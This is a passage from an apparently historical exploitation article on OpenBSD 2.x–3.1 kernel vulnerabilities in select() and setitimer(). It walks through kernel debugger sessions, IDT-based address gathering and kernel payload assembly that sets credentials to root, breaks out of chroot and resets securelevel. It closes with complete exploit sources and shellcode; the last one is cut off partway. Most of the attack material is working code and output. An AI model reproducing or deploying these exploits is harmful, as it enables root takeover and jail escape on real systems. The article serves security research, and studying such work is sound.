%ebp _sys_select+0x1: movl %esp,%ebp ... ... _sys_select+0x424: leave _sys_select+0x425: ret _sys_select+0x426: nop ... ddb> break _sys_select+0x425 ddb> cont ^M --> hit enter! bash-2.05a# At this stage some other process might kick ddb> in because of its use of the select syscall, just type 'cont' on the ddb> prompt and hit CR. bash-2.05a# ./test2 ... ddb> print $ebp 41414141 ddb> x/i $eip _sys_select+0x425: ret ddb> x/x $esp 0xe461df3c: 41414141 --> saved instruction pointer! ddb> boot sync ... --[ 3.2 - Payload storage problem The payload storage area for user land vulnerabilities is usually the overflowed buffer itself (if it's big enough) or some known user controlled other location such like environment variables, pre-overflow command leftovers, etc, etc, in short, any user controlled memory that will stay resident long enough to reference at a later time. Since the overflowed buffer may be small in size, it is not always feasible to store the payload there. Actually, for this specific buffer overflow, the contents of the overflowed buffer get corrupted leaving us no chance to return to it. Also, we will need enough room to execute code in kernel space to be able to do complex tasks, such as resetting the chroot pointers, altering pcred, ucred and securelevel and resolving where to return to ... for all these reasons we are going to execute payload in the source buffer as opposed to the destination (overflowed) buffer. This means we're going to jump to the user land page, execute our payload and return back to our caller transparently. This is all legitimate execution and we will have almost unlimited space to execute our payload. In regards to the select() overflow: copyin(ubuf, kbuf, big_num), we'll execute code inside 'ubuf'. --[ 3.3 - Return to user land problem After we gain control and execute our payload, we need to clean things up and start our journey to user land but this isn't as easy as it may sound. My first approach was to do an 'iret' (return from interrupt) in the payload after altering all necessary kernel structures but this approach turn out to be real painful. First of all, it's not an easy task to do all the post-syscall handling done by syscall() function. Also, the trap() code for kernel to user land transition can not be easily turn into payload assembly code. However the most obvious reason, not to choose the 'iret' technique is that messing with important kernel primitives such as locks, pending signals and/or mask-able interrupts is a really risky job thus drastically reducing the reliability of exploits and increasing the potential for post exploitation kernel panics. So I choose to stay out of it! ;) The solution was obvious, after payload execution we should return to the point in syscall() handler where _sys_select() was supposed to return. After that point, we don't need to care about any of the aforementioned kernel primitives. This solution leads to the question of how to find out where to return into since we have overwritten the return address to gain control thus losing our caller's location. We will explorer many of the possible solutions in section 5 and usage of the idtr register for kernel land address gathering will be introduced on section 5.2 for some serious fun!! Let's get going ... --[ 4 - Crafting the exploit In this section, setting up of proper breakpoints and how to calculate the distance to the saved instruction pointer will be discussed. Also, a new version of test code will be presented in order to demostrate that execution can be successfully directed to the user land buffer. --[ 4.1 - Breakpoints & Distance Calculation bash-2.05a# nm /bsd | grep _sys_select e045f58c T _linux_sys_select e01c5a3c T _sys_select bash-2.05a# objdump -d --start-address=0xe01c5a3c --stop- address=0xe01c5e63\ > /bsd | grep _copyin e01c5b72: e8 f9 a9 f3 ff call e0100570 <_copyin> e01c5b9f: e8 cc a9 f3 ff call e0100570 <_copyin> e01c5bcc: e8 9f a9 f3 ff call e0100570 <_copyin> e01c5bf9: e8 72 a9 f3 ff call e0100570 <_copyin> The first copyin() is the one that copies the readfds and overflows the kernel stack. That's the one we are after. CTRL+ALT+ESC bash-2.05a# Stopped at _Debugger+0x4: leave ddb> x/i 0xe01c5b72 _sys_select+0x136: call _copyin ddb> break _sys_select+0x136 ddb> cont ^M bash-2.05a# ./test2 Breakpoint at _sys_select+0x136: call _copyin ddb> x/x $esp,3 0xe461de20: 5f38 e461de78 10000000 These are the 3 arguments pushed on the stack for copyin() ubuf: 0x5f38 kbuf: 0xe461de78 len:10000000 ddb> x/x 0x5f38 0x5f38: 41414141 ... ddb> x/x $ebp 0xe461df38: e461dfa8 --> saved %ebp ddb> ^M 0xe461df3c: e02f34ce --> saved %eip ddb> In the x86 calling convention, 2 longs just before the base pointer are the saved eip (return address) and the saved ebp, respectively. To calculate the distance between the stack buffer and the saved eip in ddb is done as follows: ddb> print 0xe461df3c - 0xe461de78 c4 ddb> boot sync ... The distance between the address of saved "return address" and the kernel buffer is 196 (0xc4) bytes. Limiting our copyin() operation to 200 bytes with the mprotect() technique will ensure a clean overflow. 4.2 - Return address overwrite & execution redirection At this stage I'll introduce another test code to "verify" execution redirection and usability of the user land buffer for payload execution. test3.c: #include #include #include #include int main(void) { char *buf; long *lptr; u_long pgsz = sysconf(_SC_PAGESIZE); buf = (char *) malloc(pgsz * 3); if(!buf) { perror("malloc"); exit(-1); } memset(buf, 0xcc, pgsz*3); /* int3 */ buf = (char *) (((u_long) buf & ~pgsz) + pgsz); if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz, PROT_WRITE) < 0) { perror("mprotect"); exit(-1); } lptr = (long *) ((u_long)buf + pgsz - 8); *lptr++ = 0xbaddcafe; /* saved %ebp, does not * matter at this stage */ *lptr++ = (long) buf; /* overwrite the return addr * with buf's addr */ select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL, NULL, NULL); } test3.c code will overwrite the saved ebp with 0xbaddcafe and the saved instruction pointer with the address of the user land buffer, which is filled with 'int 3''s (debug interrupts). This code should kick in the kernel debugger. bash-2.05a# gcc -o test3 test3.c bash-2.05a# ./test3 Stopped at 0x5001: int $3 ddb> x/i $eip,2 0x5001: int $3 0x5002: int $3 ddb> print $ebp baddcafe ddb> boot sync ... Everything goes as planned, we successfully jump to user land and execute code. Now we shall concentrate on other issues such as payload/shellcode creation, symbol address gathering on run time, etc... --[ 5 - How to gather offsets & symbol addresses Before considering what to achieve with kernel payload, I should remind you about the previous questions that we raised which was how to return back to user land, the proposed solution was basically to fix up %ebp, find out where syscall() handler is in memory, plus where in syscall() we should be returning. Payload is the obvious place to do the mentioned fix- ups but this brings the complication of how to gather kernel addresses. After dealing with some insufficient pre-exploitation techniques such like 'nm /bsd', kvm_open() and nlist() system interfaces which are all lacking the solution for non-reable (in terms of fs permissions) kernel image (/bsd). I come to the conclusion that all address gathering should be done on run time (in the execution state of the payload). Many win32 folks have been doing this type of automation in shellcodes by walking through the thread environment block (TEB) for some time. Also kernel structures such like the process structure has to be supplied to the payload in order to achieve our goals. Following sections would introduce the proposed solutions for kernel space address gathering. --[ 5.1 - sysctl() syscall sysctl() system call will enable us to gather process structure information which is needed for the credential and chroot manipulation payloads. In this section we will take a brief look into the internals of the sysctl() syscall. sysctl is a system call to get and set kernel level information from user land. It has a good interface to pass data from kernel to user land and back. sysctl interface is structured into several sub components such as the kernel, hardware, virtual memory, net, filesystem and architecure system control interfaces. We'll concentrate on the kernel sysctl's which is handled by the kern_sysctl()function. See: sys/kern/kern_sysctl.c:234 kern_sysctl() function also assigns different handlers to certain queries such as proc structure, clockrate, vnode and file information. The process structure is handled by the sysctl_doproc() function and this is the interface to kernel land information that we are after! int sysctl_doproc(name, namelen, where, sizep) int *name; u_int namelen; char *where; size_t *sizep; { ... [1] for (; p != 0; p = LIST_NEXT(p, p_list)) { ... [2] switch (name[0]) { case KERN_PROC_PID: /* could do this with just a lookup */ [3] if (p->p_pid != (pid_t)name[1]) continue; break; ... } .... if (buflen >= sizeof(struct kinfo_proc)) { [4] fill_eproc(p, &eproc); [5] error = copyout((caddr_t)p, &dp->kp_proc, sizeof(struct proc)); .... void fill_eproc(p, ep) register struct proc *p; register struct eproc *ep; { register struct tty *tp; [6] ep->e_paddr = p; Also for sysctl_doproc() there can be different types of queries which are handled by the switch [2] statement. KERN_PROC_PID is the query that is sufficient enough to gather the needed address about any process's proc structure. For the select() overflow it was sufficient enough just to gather the parent process's proc address but the setitimer() vulnerability make use of the sysctl() interface in many different ways (more on this later). sysctl_doproc() code iterates through [1] the linked list of proc structures in order to find the queried pid [3], and, if found, certain structures (eproc & kp_proc) get filled-in [4], [5] and copyout to user land. fill_eproc() (called from [4]) does the trick [6] and copies the proc address of the queried pid into the e_paddr member of the eproc structure, which, in turn, was eventually copied out to user land in the kinfo_proc structure (which is the main data structure for the sysctl_doproc() function). For further information on members of these structures see: sys/sys/sysctl.h. The following is the function we'll be using to retrieve the kinfo_proc structure: void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); exit(-1); } } It is a pretty straightforward interface, what happens is: CTL_KERN will be dispatched to kern_sysctl() by sys_sysctl() KERN_PROC will be dispatched to sysctl_doproc() by kern_sysctl() KERN_PROC_PID will be handled by the aforementioned switch statement, eventually returning the kinfo_proc structure. sysctl() system call might be there with all good intensions such as getting and setting kernel information in a dynamic fashion. However, from a security point of view, I believe sysctl() syscall should not be blindly giving proc information about any queried pid. Credential checks should be added in proper places, especially for the systcl_doproc() interface ... --[ 5.2 - sidt technique & _kernel_text search As mentioned before, we are after transparent payload execution so that _sys_select() will actually return to its caller _syscall() as expected. I will explain how to gather the return path in this section. The solution depends on the idtr (interrupt descriptor table register) that contains a fixed location address, which is the start of the Interrupt Descriptor Table (IDT). Without going into too many details, IDT is the table that holds the interrupt handlers for various interrupt vectors. Each interrupt in x86 is represented by a number in the range 0 - 255 and these numbers are called the interrupt vectors. These vectors are used to locate the initial handler for any given interrupt inside the IDT. IDT contains 256 entries, each being 8 bytes. IDT descriptor entries can be 3 different types but we will concentrate only on the gate descriptor: sys/arch/i386/include/segment.h:99 struct gate_descriptor { unsigned gd_looffset:16; /* gate offset (lsb) */ unsigned gd_selector:16; /* gate segment selector */ unsigned gd_stkcpy:5; /* number of stack wds to cpy */ unsigned gd_xx:3; /* unused */ unsigned gd_type:5; /* segment type */ unsigned gd_dpl:2; /* segment descriptor priority level */ unsigned gd_p:1; /* segment descriptor present */ unsigned gd_hioffset:16; /* gate offset (msb) */ } gate_descriptor's members gd_looffset and gd_hioffset will form the low level interrupt handler's address. For more information on the various fields, reader should consult to the architecture manuals [Intel]. System call interface to request kernel services is implemented through the software initiated interrupt: 0x80. Armored with this knowledge, starting from the address of the low level syscall interrupt handler and walking through the kernel text, we can find our way to the high level syscall handler and finally return to it. Interrupt descriptor table under OpenBSD is named _idt_region and slot number: 0x80 is the gate descriptor for the system call interrupt 'int 0x80'. Since every member is 8 bytes, system call gate_descriptor is at address '_idt_region + 0x80 * 0x8' which is '_idt_region + 0x400'. bash-2.05a# Stopped at _Debugger+0x4: leave ddb> x/x _idt_region+0x400 _idt_region+0x400: 80e4c ddb> ^M _idt_region+0x404: e010ef00 To figure out the initial syscall handler we need to do the proper 'shift' and 'or' operations on the gate descriptor bit fields, which leads to the 0xe0100e4c kernel address. bash-2.05a# Stopped at _Debugger+0x4: leave ddb> x/x 0xe0100e4c _Xosyscall_end: pushl $0x2 ddb> ^M _Xosyscall_end+0x2: pushl $0x3 ... ... _Xosyscall_end+0x20: call _syscall ... As per exception or software initiated interrupt, the corresponding vector is found in the IDT and the execution is redirected to the handler gathered from the gate descriptor. This is an intermediate handler and will eventually take us to real handler. As seen at the kernel debugger output, the initial handler _Xosyscall_end saves all registers (also some other low level stuff) and immediately calls the real handler which is _syscall(). We have mentioned that the idtr register always contains the address of the _idt_region, here is the way to access its content: sidt 0x4(%edi) mov 0x6(%edi),%ebx Address of the _idt_region is moved to ebx and IDT can now be referenced via ebx. Assembly code to gather the syscall handler starting from the initial handler is as follows; sidt 0x4(%edi) mov 0x6(%edi),%ebx # mov _idt_region is in ebx mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400] mov 0x404(%ebx),%ecx # _idt_region[0x404] shr $0x10,%ecx # sal $0x10,%ecx # ecx = gd_hioffset sal $0x10,%edx # shr $0x10,%edx # edx = gd_looffset or %ecx,%edx # edx = ecx | edx = _Xosyscall_end At this stage we have successfully found the initial/intermediate handler's location, so the next step is to search through the kernel text, find 'call _syscall', gather the displacement of the call instruction and add it to the address of the instruction's location. Also plus 5 should be added to the displacement for the size of the call instruction. xor %ecx,%ecx # zero out the counter up: inc %ecx movb (%edx,%ecx),%bl # bl = _Xosyscall_end++ cmpb $0xe8,%bl # if bl == 0xe8 : 'call' jne up lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall inc %ecx mov (%edx,%ecx),%ecx # take the displacement of the call ins. add $0x5,%ecx # add 5 to displacement add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall() At this stage %ecx holds the address of the real handler _syscall(). The next step is to find out where to return inside the syscall() function which eventually leads to a broader research on various versions of OpenBSD with various kernel compilation options. Luckily, it turns out to be safe to search for the 'call *%eax' instruction inside the _syscall(), because this turns out to be the instruction that dispatches every system call to its final handler in every OpenBSD version I have tested. For OpenBSD 2.6 through 3.1 kernel code always dispatched the system calls with the 'call *%eax' instruction, which is unique in the scope of _syscall() function. bash-2.05a# Stopped at _Debugger+0x4: leave ddb> x/i _syscall+0x240 _syscall+0x240: call *%eax ddb>cont Our goal is now to figure out the offset (0x240 in the above disasm) for any kernel version so that we can return to the instruction just after it from our payload and achieve our goal. The code to search for 'call *%eax' is as follows: # _syscall+0x240: ff # _syscall+0x241: d0 0x240->0x241 OBSD3.1 mov %ecx,%edi # ecx is the addr of _syscall movw $0xd0ff,%ax # search for ffd0 'call *%eax' cld mov $0xffffffff,%ecx repnz scasw # scan (%edi++) for %ax # %edi gets incremented one last time before breaking the loop # %edi contains the instruction address just after 'call *%eax' # so return to it!!! xor %eax,%eax #set up the return value = Success ;) push %edi # push %edi on the stack and return to it ret Finally, this is all we needed for a clean return. This payload can be used for any syscall overflow without requiring any further modification. --[ 5.3 - _db_lookup() technique This technique introduces no new concepts; it is just another kernel text search to find out the address of _db_lookup() -- the kernel land equivalent of dlsym(). The search is based on the function fingerprint, which is fairly safe on the recent versions on which the code has been developed, but it might not work on the older versions. I choose to keep it out of the text for brevity's sake but it's exact the same 'repnz scas' concept just used in the idtr technique. (for sample code, contact me.) --[ 5.4 - /usr/bin/nm, kvm_open(), nlist() /usr/bin/nm, kvm library and nlist() library interface can all be used to gather kernel land symbols and offsets but, as we already mentioned, they all require a readable kernel image and/or additional privileges which in most secured systems are not usually avaliable. Furthermore, the most obvious problem with these interfaces are that they won't work at all in chroot()ed environments with no privileges (nobody). These are the main reasons I have not used these techniques within the exploitation phase of privilege escalation and chroot breaking, but after establishing full control over the system (uid = 0 and out of jail), I have made use of offline binary symbol gathering in order to reset the securelevel, more about this later. --[ 5.5 - %ebp fixup After taking care of the saved return address, we need to fix %ebp to prevent crashes in later stages (especially in _syscall() code). The proper way to calculate %ebp is to find out the difference between the stack pointer and the saved base pointer at the procedure exit and used this static number to restore %ebp. For all the versions of OpenBSD 2.6 through 3.1 this difference was 0x68 bytes. You can simply set a breakpoint on _sys_select prolog and another one just before the 'leave' instruction at the epilog and calculate the difference between the %ebp recorded at the prolog and the %esp recorded just before the epilog. lea 0x68(%esp),%ebp # fixup ebp Above instruction would be enough to set the %ebp back to its old value. --[ 6 - Payload/Shellcode Creation In the following sections we'll develop small payloads that modify certain fields of its parent process' proc structure to achieve elevated privileges and break out of chroot/jail environments. Then, we'll chain the developed assembly code with the sidt code to work our way back to user land and enjoy our new privileges. --[ 6.1 - What to achieve Setting up a jail with nobody privileges and trying to break out of it seems like a fairly good goal to achieve. Since all these privilege separation terms are brought into OpenBSD with the latest OpenSSH, it would be nice to actually demonstrate how trivial it would be to bypass this kind of 'protection' by way of such kernel level vulnerabilities. Certain inetd.conf services and OpenSSH are run as nobody/user in a chrooted/jailed environment -- intended to be an additional assurance of security. This is a totally false sense of security; jailme.c code follows: jailme.c: #include int main() { chdir("/var/tmp/jail"); chroot("/var/tmp/jail"); setgroups(NULL, NULL); setgid(32767); setegid(32767); setuid(32767); seteuid(32767); execl("/bin/sh", "jailed", NULL); } bash-2.05a# gcc -o jailme jailme.c bash-2.05a# cp jailme /tmp/jailme bash-2.05a# mkdir /var/tmp/jail bash-2.05a# mkdir /var/tmp/jail/usr bash-2.05a# mkdir /var/tmp/jail/bin /var/tmp/jail/usr/lib bash-2.05a# mkdir /var/tmp/jail/usr/libexec bash-2.05a# cp /bin/sh /var/tmp/jail/bin/ bash-2.05a# cp /usr/bin/id /var/tmp/jail/bin/ bash-2.05a# cp /bin/ls /var/tmp/jail/bin/ bash-2.05a# cp /usr/lib/libc.so.28.3 /var/tmp/jail/usr/lib/ bash-2.05a# cp /usr/libexec/ld.so /var/tmp/jail/usr/libexec/ bash-2.05a# cat >> /etc/inetd.conf 1024 stream tcp nowait root /tmp/jailme ^C bash-2.05a# ps aux | grep inetd root 19121 0.0 1.1 148 352 p0 S+ 8:19AM 0:00.05 grep inetd root 27152 0.0 1.1 64 348 ?? Is 6:00PM 0:00.08 inetd bash-2.05a# kill -HUP 27152 bash-2.05a# nc -v localhost 1024 Connection to localhost 1024 port [tcp/*] succeeded! ls -l / total 4 drwxr-xr-x 2 0 0 512 Dec 9 16:23 bin drwxr-xr-x 4 0 0 512 Dec 9 16:21 usr id uid=32767 gid=32767 ps jailed: [4]: ps: not found .... --[ 6.2 - The payload Throughout this section we will introduce all the tiny bits of the complete payload. So all these section chained together will form the eventual payload, which will be available at the code section (10) of this paper. --[ 6.2.1 - p_cred & u_cred We'll start with the privilege elevation section of the payload. Following is the payload to update ucred (credentials of user) and pcred (credentials of the process) of any given proc structure. Exploit code fills in the proc address of its parent process by using the sysctl() system call (discussed on 5.1) replacing .long 0x12345678. The following 'call' and 'pop' instructions will load the address of the given proc structure address into %edi. The typical address gathering technique used in almost every PIC %shellcode [ALEPH1]. call moo .long 0x12345678 <-- pproc addr .long 0xdeadcafe .long 0xbeefdead nop nop nop moo: pop %edi mov (%edi),%ecx # parent's proc addr in ecx # update p_ruid mov 0x10(%ecx),%ebx # ebx = p->p_cred xor %eax,%eax # eax = 0 mov %eax,0x4(%ebx) # p->p_cred->p_ruid = 0 # update cr_uid mov (%ebx),%edx # edx = p->p_cred->pc_ucred mov %eax,0x4(%edx) # p->p_cred->pc_ucred->cr_uid = 0 --[ 6.2.2 - chroot breaking Next tiny assembly fragment will be the chroot breaker of our complete payload. Without going into extra detail (time is running out, deadline is within 3 days ;)), lets take a brief look of how chroot is checked on a per-process basis. chroot jails are implemented by filling in the fd_rdir member of the filedesc (open files structure) with the desired jail directories vnode pointer. When kernel is giving certain services to any process, it checks for the existence of this pointer and if it's filled with a vnode that process is handled slightly different and kernel will create the notion of a new root directory for this process thus jailing it into a predefined directory. For a regular process this pointer is zero / unset. So without any further need to go into implementation level details, just setting this pointer to NULL means FREEDOM! fd_rdir is referenced through the proc structure as follows: p->p_fd->fd_rdir As with the credentials structure, filedesc is also trivial to access and alter, with only 2 instruction additions to our payload. # update p->p_fd->fd_rdir to break chroot() mov 0x14(%ecx),%edx # edx = p->p_fd mov %eax,0xc(%edx) # p->p_fd->fd_rdir = 0 --[ 6.2.3 - securelevel OpenBSD has 4 different securelevels starting from permanently insecure to highly secure mode. The system by default runs at level 1 which is the secure mode. Secure mode restrictions are as follows: - securelevel may no longer be lowered except by init - /dev/mem and /dev/kmem may not be written to - raw disk devices of mounted file systems are read-only - system immutable and append-only file flags may not be removed - kernel modules may not be loaded or unloaded Some of these restrictions might complicate further compromise of the system. So we should also take care of the securelevel flag and reset it to 0, which is the insecure level that gives you privileges such as being able to load kernel modules to further penetrate the system. But there were many problems in run time searching of the address of securelevel in memory without false positives so I chose to utilize this attack at a later stage. The stage that we get uid 0 and break free out of jail, now we have all the interfaces available mentioned in section 5.4 to query any kernel symbol and retrieve its address. bash-2.05a# /usr/bin/nm /bsd | grep securelevel e05cff38 B _securelevel For this reason an additional, second stage exploit was crafted (without any difference, other then the payload) that executes the following assembly routine and returns to user land, using the idtr technique. See ex_select_obsd_secl.c in section 10 call moo .long 0x12345678 <-- address of securelevel filled by user moo: pop %edi mov (%edi),%ebx # address of securelevel in ebx # reset security level to 0/insecure xor %eax,%eax # eax = 0 mov %eax,(%ebx) # securelevel = 0 ... --[ 6.3 - Get root & escape jail All of the above chained into 2 piece of exploit code. Here is the door to freedom! (Exploits and payloads can be found in section 10) bash-2.05a# gcc -o ex ex_select_obsd.c bash-2.05a# gcc -o ex2 ex_select_obsd_secl.c bash-2.05a# cp ex /var/tmp/jail/ bash-2.05a# cp ex2 /var/tmp/jail/ bash-2.05a# nc -v localhost 1024 id uid=32767 gid=32767 ls / bin ex ex2 usr ./ex [*] OpenBSD 2.x - 3.x select() kernel overflow [*] [*] by Sinan "noir" Eren - noir@olympos.org [*] userland: 0x0000df38 parent_proc: 0xe46373a4 id uid=0(root) gid=32767(nobody) uname -a OpenBSD kernfu 3.1 GENERIC#59 i386 ls / .cshrc .profile altroot bin boot bsd dev etc ... sysctl kern.securelevel kern.securelevel = 1 nm /bsd | grep _securelevel e05cff38 B _securelevel ./ex2 e05cff38 sysctl kern.securelevel kern.securelevel = 0 ... ;) Directly copying the exploit into the jailed environment might seem a bit unrealistic but it really is not an issue with system call redirection [MAXIMI] or even by using little more imaginative shellcodes, you can execute anything from a remote source without any further need for a shell interpreter. To the best of my knowledge there is 2 commercial products that have already achieved such remote execution simulations. [IMPACT], [CANVAS] --[ 7 - Conclusions My goal in writing this paper was try to prove kernel land vulnerabilities such as stack overflows and integer conditions can be exploited and lead to total control over the system, no matter how strict your user land (i.e., privilege separation) or even kernel land (i.e., chroot, systrace, securelevel) enforcements are ... I also tried to contribute to the newly raised concepts (greets to Gera) of fail-safe and reusable exploitation code generation. I would like to end this article with my favorite vuln-dev posting of all time: Subject: RE: OpenSSH Vulns (new?) Priv seperation [...] reducing root-run code from 27000 to 2500 lines is the important part. who cares how many holes there are when it is in /var/empty/sshd chroot with no possibility of root :) XXXXX [ I CARE. lol! ;)] --[ 8 - Greetings Thanks to Dan and Dave for correcting my English and committing many logic fixes. Thanks to certain anonymous people for their help and support. Greets to: optyx, dan, dave aitel, gera, bind, jeru, #convers uberhax0r, olympos and gsu.linux ppl Most thanks of all to goes to Asli for support, help and her never-ending affection. Seni Seviyorum, mosirrr!! --[ 9 - References - [ESA] Exploiting Kernel Buffer Overflows FreeBSD Style http://online.securityfocus.com/archive/1/153336 - [LSD-PL] Kernel Level Vulnerabilities, 5th Argus Hacking Challenge http://lsd-pl.net/kernel_vulnerabilities.html - [4.4 BSD] The Design and Implementation of the 4.4BSD Operating System - [Intel] Intel Pentium 4 Processors Manuals http://developer.intel.com/design/Pentium4/manuals/ - [ALEPH1] Smashing The Stack For Fun And Profit http://www.phrack.org/show.php?p=49&a=14 - [MAXIMI] Syscall Proxying - Simulating Remote Execution http://www.corest.com/files/files/13/BlackHat2002.pdf - [IMPACT] http://www.corest.com/products/coreimpact/index.php - [CANVAS] http://www.immunitysec.com/CANVAS - [ODED] Big Loop Integer Protection Phrack #60 0x09 by Oded Horovitz --[ 10 - Code <++> ./ex_kernel/ex_select_obsd.c /** ** OpenBSD 2.x 3.x select() kernel bof exploit ** Sinan "noir" Eren ** noir@olympos.org | noir@uberhax0r.net ** (c) 2002 ** **/ #include #include #include #include #include #include #include #include #include #include /* kernel_sc.s shellcode */ unsigned char shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10" "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a" "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9" "\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff\xff\xff\xff\xf2\x66\xaf\x31\xc0" "\x57\xc3"; void sig_handler(); void get_proc(pid_t, struct kinfo_proc *); int main(int argc, char **argv) { char *buf, *ptr, *fptr; u_long pgsz, *lptr, pprocadr; struct kinfo_proc kp; printf("\n\n[*] OpenBSD 2.x - 3.x select() kernel overflow [*]\n"); printf("[*] by Sinan \"noir\" Eren - noir@olympos.org [*]\n"); printf("\n\n"); sleep(1); pgsz = sysconf(_SC_PAGESIZE); fptr = buf = (char *) malloc(pgsz*4); if(!buf) { perror("malloc"); exit(-1); } memset(buf, 0x41, pgsz*4); buf = (char *) (((u_long)buf & ~pgsz) + pgsz); get_proc((pid_t) getppid(), &kp); pprocadr = (u_long) kp.kp_eproc.e_paddr; ptr = (char *) (buf + pgsz - 200); /* userland adr */ lptr = (long *) (buf + pgsz - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */ shellcode[5] = pprocadr & 0xff; shellcode[6] = (pprocadr >> 8) & 0xff; shellcode[7] = (pprocadr >> 16) & 0xff; shellcode[8] = (pprocadr >> 24) & 0xff; memcpy(ptr, shellcode, sizeof(shellcode)-1); printf("userland: 0x%.8x ", ptr); printf("parent_proc: 0x%.8x\n", pprocadr); if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz, PROT_WRITE) < 0) { perror("mprotect"); exit(-1); } signal(SIGSEGV, (void (*)())sig_handler); select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL); done: free(fptr); } void sig_handler() { exit(0); } void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(-1); } } <--> ./ex_kernel/ex_select_obsd.c <++> ./ex_kernel/ex_select_obsd_secl.c /** ** OpenBSD 2.x 3.x select() kernel bof exploit ** ** securelevel reset exploit, this is the second stage attack ** ** Sinan "noir" Eren ** noir@olympos.org | noir@uberhax0r.net ** (c) 2002 ** **/ #include #include #include #include #include #include #include #include #include /* sel_sc.s shellcode */ unsigned char shellcode[] = "\xe8\x04\x00\x00\x00\x78\x56\x34\x12\x5f\x8b\x1f\x31\xc0\x89\x03\x8d" "\x6c\x24\x68\x0f\x01\x4f\x04\x8b\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b" "\x8b\x04\x04\x00\x00\xc1\xe9\x10\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10" "\x09\xca\x31\xc9\x41\x8a\x1c\x0a\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41" "\x8b\x0c\x0a\x83\xc1\x05\x01\xd9\x89\xcf\x66\xb8\xff\xd0\xfc\xb9\xff" "\xff\xff\xff\xf2\x66\xaf\x31\xc0\x57\xc3"; void sig_handler(); int main(int argc, char **argv) { char *buf, *ptr, *fptr; u_long pgsz, *lptr, secladr; if(!argv[1]) { printf("Usage: %s secl_addr\nsecl_addr: /usr/bin/nm /bsd |" " grep _securelevel\n", argv[0]); exit(0); } secladr = strtoul(argv[1], NULL, 16); pgsz = sysconf(_SC_PAGESIZE); fptr = buf = (char *) malloc(pgsz*4); if(!buf) { perror("malloc"); exit(-1); } memset(buf, 0x41, pgsz*4); buf = (char *) (((u_long)buf & ~pgsz) + pgsz); ptr = (char *) (buf + pgsz - 200); /* userland adr */ lptr = (long *) (buf + pgsz - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long) ptr; /*(uadr + 0x1ec0); saved %eip */ shellcode[5] = secladr & 0xff; shellcode[6] = (secladr >> 8) & 0xff; shellcode[7] = (secladr >> 16) & 0xff; shellcode[8] = (secladr >> 24) & 0xff; memcpy(ptr, shellcode, sizeof(shellcode)-1); if( mprotect((char *) ((u_long) buf + pgsz), (size_t)pgsz, PROT_WRITE) < 0) { perror("mprotect"); exit(-1); } signal(SIGSEGV, (void (*)())sig_handler); select(0x80000000, (fd_set *) ptr, NULL, NULL, NULL); done: free(fptr); } void sig_handler() { exit(0); } <--> ./ex_kernel/ex_select_obsd_secl.c <++> ./ex_kernel/ex_setitimer_obsd.c /** ** OpenBSD 2.x 3.x setitimer() kernel memory write exploit ** Sinan "noir" Eren ** noir@olympos.org | noir@uberhax0r.net ** (c) 2002 ** **/ #include #include #include #include #include struct itimerval val, oval; int which = 0; int main(int argc, char **argv) { find_which(); setitimer(which, &val, &oval); seteuid(0); setuid(0); printf("uid: %d euid: %d gid: %d \n", getuid(), geteuid(), getgid()); execl("/bin/sh", "noir", NULL); } find_which() { unsigned int arr[4], len; struct kinfo_proc kp; long stat, cred, rem; memset(&val, 0x00, sizeof(val)); val.it_interval.tv_sec = 0x00; //fill this with cr_ref val.it_interval.tv_usec = 0x00; val.it_value.tv_sec = 0x00; val.it_value.tv_usec = 0x00; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = getpid(); len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, &kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(-1); } printf("proc: %p\n\n", (u_long) kp.kp_eproc.e_paddr); printf("pc_ucred: %p ", (u_long) kp.kp_eproc.e_pcred.pc_ucred); printf("p_ruid: %d\n\n", (u_long) kp.kp_eproc.e_pcred.p_ruid); printf("proc->p_cred->p_ruid: %p, proc->p_stats: %p\n", (char *) (kp.kp_proc.p_cred) + 4, kp.kp_proc.p_stats); printf("cr_ref: %d\n", (u_long) kp.kp_eproc.e_ucred.cr_ref); cred = (long) kp.kp_eproc.e_pcred.pc_ucred; stat = (long) kp.kp_proc.p_stats; val.it_interval.tv_sec = kp.kp_eproc.e_ucred.cr_ref; printf("calculating which for u_cred:\n"); which = cred - stat - 0x90; rem = ((u_long)which%0x10); printf("which: %.8x reminder: %x\n", which, rem); switch(rem) { case 0x8: case 0x4: case 0xc: break; case 0x0: 